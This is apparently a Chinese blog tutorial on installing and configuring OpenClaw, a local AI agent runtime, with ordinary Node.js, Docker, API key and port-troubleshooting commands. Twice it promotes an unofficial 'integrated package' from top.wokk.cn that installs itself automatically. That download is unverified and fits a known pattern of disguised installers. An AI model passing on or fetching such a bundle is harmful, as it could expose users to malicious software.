凌晨两点我刚把 OpenClaw 跑通。看着屏幕上终于亮起来的 WebChat 界面心里那叫一个舒坦。说实话之前装了几次都没成功不是端口冲突就是 API Key 配置不对折腾了大半天。后来静下心来把文档从头到尾看了一遍才把各个模块的依赖关系搞明白。今天就把整个过程写下来希望能帮到后面要装的人。OpenClaw 这个项目是今年年初火起来的GitHub 上 Star 数涨得很快。它的核心思路是把 AI 模型、工具调用、消息路由都整合到一个本地运行时里这样你的 AI Agent 就能在本地跑数据不会外传。架构上分三个模块Gateway 负责核心调度Skills 是插件系统Session Manager 处理多会话。听起来简单但实际部署的时候依赖关系比想象中复杂。你得确保 Node.js 版本正确、端口没被占用、API Key 配置无误这三个条件缺一不可。不然就会像我一样装了好几次都跑不起来。这里先说个事如果你不想自己折腾命令行有个更快的办法——第一步打开网址 https://top.wokk.cn第二步找到符合你系统的版本下载支持Windows、macOS Intel、macOS Apple芯片第三步双击安装包运行全程自动安装这个整合包是中文版的里面 Node.js 和 OpenClaw 核心都打包好了基本上装完就能用。但我还是建议至少自己装一遍遇到问题的时候好排查。环境准备OpenClaw 基于 Node.js所以先检查环境。我用的是 Node.js v20.10.0实测 v18 也能跑但 v16 会报错这个要注意。node -v # v20.10.0 npm -v # v10.2.3 git --version # git version 2.45.1如果版本不对Windows 用户去 nodejs.org 下载 LTS 版本。macOS 用户可以用 Homebrewbrew install node git装完后一定要重新打开终端不然环境变量没刷新node命令会找不到。我就卡在这一步折腾了十几分钟才发现。另外端口检查不能少。OpenClaw 默认用 3000WebSocket和 5123HTTP API# Windows PowerShell netstat -ano | Select-String :3000 netstat -ano | Select-String :5123 # macOS/Linux lsof -i :3000 lsof -i :5123如果端口被占用后面会讲怎么改。安装过程两种方式看你的需求。方式一从源码装cd D:\projects git clone https://github.com/openclaw/openclaw.git cd openclaw npm install # 国内镜像可选 npm config set registry https://registry.npmmirror.com npm install然后初始化npx openclaw gateway start首次运行会自动创建~/.openclaw目录~/.openclaw/ ├── config.yaml # 主配置 ├── workspace-xxx/ # 工作区 │ ├── AGENTS.md # Agent 行为 │ ├── SOUL.md # Agent 人格 │ ├── USER.md # 用户配置 │ ├── MEMORY.md # 长期记忆 │ └── memory/ # 记忆文件 └── sessions/ # 会话数据方式二Docker 部署服务器环境推荐用 Docker# docker-compose.yml version: 3.8 services: openclaw: image: openclaw/openclaw:latest ports: - 3000:3000 - 5123:5123 volumes: - ~/.openclaw:/root/.openclaw - ./workspace:/workspace environment: - OPENAI_API_KEY${OPENAI_API_KEY} restart: unless-stopped启动docker-compose up -dDocker 的好处是环境隔离依赖问题少。缺点是看日志不太方便得用docker logs -f openclaw没有本地终端直接。配置 API这是最多人卡住的地方。API Key 配置不对Gateway 启动后直接报 401。# ~/.openclaw/.env OPENAI_API_KEYsk-proj-你的密钥 # config.yaml models: default: provider: openai modelId: gpt-4o apiKey: ${OPENAI_API_KEY}注意API Key 不要直接写在 config.yaml 里要用环境变量。这样更安全也方便切换不同环境。如果你用的是 OpenRouter# ~/.openclaw/.env OPENROUTER_API_KEYsk-or-v1-xxx # config.yaml models: default: provider: openrouter modelId: google/gemini-2.5-pro-preview apiKey: ${OPENROUTER_API_KEY}测试 API 是否可用curl -H Authorization: Bearer $OPENAI_API_KEY \ https://api.openai.com/v1/models返回 401 说明 Key 有问题检查一下是不是过期了或者额度用完了。启动与验证配置完成后启动openclaw gateway start正常输出✓ OpenClaw Gateway started ✓ WebSocket listening on ws://localhost:3000 ✓ HTTP API available at http://localhost:5123 ✓ Session: main (webchat)访问http://localhost:5123打开 WebChat 界面。常见问题端口被占用# config.yaml 改端口 gateway: port: 3001 httpPort: 5124或者用环境变量OPENCLAW_GATEWAY_PORT3001 OPENCLAW_HTTP_PORT5124 openclaw gateway startnpm install 卡住npm config set registry https://registry.npmmirror.com npm installERESOLVE 错误npm install --legacy-peer-depsNode.js 版本不兼容# Windows nvm-windows nvm install 20 nvm use 20 # macOS/Linux nvm nvm install 20 nvm use 20Skills 插件Skills 是 OpenClaw 的扩展系统openclaw skills list openclaw skills install weather openclaw skills enable weather目录结构skill-name/ ├── SKILL.md ├── package.json └── src/ └── index.js自己写 Skill 也挺简单的创建一个目录放个 SKILL.md 描述文件再写几行代码就能跑。总结OpenClaw 的部署过程不算复杂关键是环境配置和 API Key 设置。把这两步搞对后面的使用基本顺畅。如果你只是想让 AI 跑起来不打算深入定制整合包确实省事——直接去https://top.wokk.cn下载对应版本三分钟搞定。但如果你想自己写 Skills 或者做多通道接入从源码装一遍会更值。后续我打算写几篇 Skills 开发的教程有兴趣的可以多关注。
